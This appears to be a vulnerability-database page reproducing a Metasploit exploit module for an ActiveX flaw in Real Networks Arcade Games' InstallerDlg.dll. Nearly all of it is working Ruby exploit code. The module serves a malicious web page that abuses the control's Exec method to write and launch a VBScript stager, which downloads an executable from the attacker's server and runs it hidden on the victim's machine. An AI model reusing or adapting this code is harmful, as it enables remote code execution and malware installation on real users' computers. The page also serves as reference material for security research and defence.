Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX vulnerabilit

                                                ##
# $Id: real_arcade_installerdlg.rb 12286 2011-04-09 18:24:43Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a vulnerability in Real Networks Acrade Game&#39;s ActiveX control. The &#34;exec&#34;
				function found in InstallerDlg.dll (v2.6.0.445) allows remote attackers to run arbitrary commands
				on the victim machine.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
					[
						&#39;rgod&#39;,    #Initial discovery, poc
						&#39;sinn3r&#39;,  #msf
					],
			&#39;Version&#39;        =&#62; &#39;$Revision: 12286 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;OSVDB&#39;, &#39;71559&#39; ],
					[ &#39;URL&#39;, &#39;http://www.exploit-db.com/exploits/17105/&#39; ]
				],
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 1024,
					&#39;BadChars&#39; =&#62; &#34;\x00&#34;,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows Universal&#39;,  {} ],
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Apri 3 2011&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	# Unfortunately if we echo the vbs cmdstager too many times, we tend to have random missing lines in
	# either the payload or the vbs script.  To avoid this problem, I ended up writing this custom routine
	# that only uses one echo.
	def build_vbs(url, payload_name, stager_name)
		name_xmlhttp = rand_text_alpha(2)
		name_adodb   = rand_text_alpha(2)

		tmp = &#34;#{@temp_folder}/#{stager_name}&#34;

		vbs  = &#34;echo Set #{name_xmlhttp} = CreateObject(\&#34;\&#34;Microsoft.XMLHTTP\&#34;\&#34;) &#34;
		vbs &#60;&#60; &#34;: #{name_xmlhttp}.open \&#34;\&#34;GET\&#34;\&#34;,\&#34;\&#34;http://#{url}\&#34;\&#34;,False : #{name_xmlhttp}.send&#34;
		vbs &#60;&#60; &#34;: Set #{name_adodb} = CreateObject(\&#34;\&#34;ADODB.Stream\&#34;\&#34;) &#34;
		vbs &#60;&#60; &#34;: #{name_adodb}.Open : #{name_adodb}.Type=1 &#34;
		vbs &#60;&#60; &#34;: #{name_adodb}.Write #{name_xmlhttp}.responseBody &#34;
		vbs &#60;&#60; &#34;: #{name_adodb}.SaveToFile \&#34;\&#34;#{@temp_folder}/#{payload_name}.exe\&#34;\&#34;,2 &#34;
		vbs &#60;&#60; &#34;: CreateObject(\&#34;\&#34;WScript.Shell\&#34;\&#34;).Run \&#34;\&#34;#{@temp_folder}/#{payload_name}.exe\&#34;\&#34;,0 &#62;&#62; #{tmp}&#34;

		return vbs
	end

	def exploit
		@payload_name = rand_text_alpha(4)
		@temp_folder  = &#34;C:/Windows/Temp&#34;
		super
	end

	def on_request_uri(cli, request)
		if request.uri =~ /\.exe/
			print_status(&#34;Sending payload to #{cli.peerhost}:#{cli.peerport}...&#34;)
			return if ((p=regenerate_payload(cli)) == nil)
			data = generate_payload_exe( {:code=&#62;p.encoded} )
			send_response(cli, data, {&#39;Content-Type&#39; =&#62; &#39;application/octet-stream&#39;} )
			return
		end

		# Payload&#39;s URL
		payload_src  = (datastore[&#39;SRVHOST&#39;] == &#39;0.0.0.0&#39;) ? Rex::Socket.source_address(cli.peerhost) : datastore[&#39;SRVHOST&#39;]
		payload_src &#60;&#60; &#34;:&#34; &#60;&#60; datastore[&#39;SRVPORT&#39;] &#60;&#60; get_resource() + &#34;/&#34; + @payload_name + &#34;.exe&#34;

		# Create the stager (download + execute payload)
		stager_name = rand_text_alpha(6) + &#34;.vbs&#34;
		stager      = build_vbs(payload_src, @payload_name, stager_name)

		html_obj_name = rand_text_alpha(6)

		html = &#60;&#60;-EOS
		&#60;html&#62;
		&#60;object classid=&#39;clsid:5818813E-D53D-47A5-ABBB-37E2A07056B5&#39; id=&#39;#{html_obj_name}&#39; /&#62;
		&#60;/object&#62;
		&#60;script language=&#39;vbscript&#39;&#62;
		#{html_obj_name}.Exec &#34;cmd&#34;,&#34;/c #{stager}&#34;,1,1,&#34;&#34;
		setTimeout &#34;x=1&#34;, 3000
		#{html_obj_name}.Exec &#34;cmd&#34;,&#34;/c start #{@temp_folder}/#{stager_name}&#34;,1,1,&#34;&#34;
		&#60;/script&#62;
		&#60;/html&#62;
		EOS

		# Remove extra tabs
		html = html.gsub(/^\t\t/, &#34;&#34;)

		print_status(&#34;Sending HTML to #{cli.peerhost}:#{cli.peerport}...&#34;)
		send_response(cli, html, { &#39;Content-Type&#39; =&#62; &#39;text/html&#39; })
	end
end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1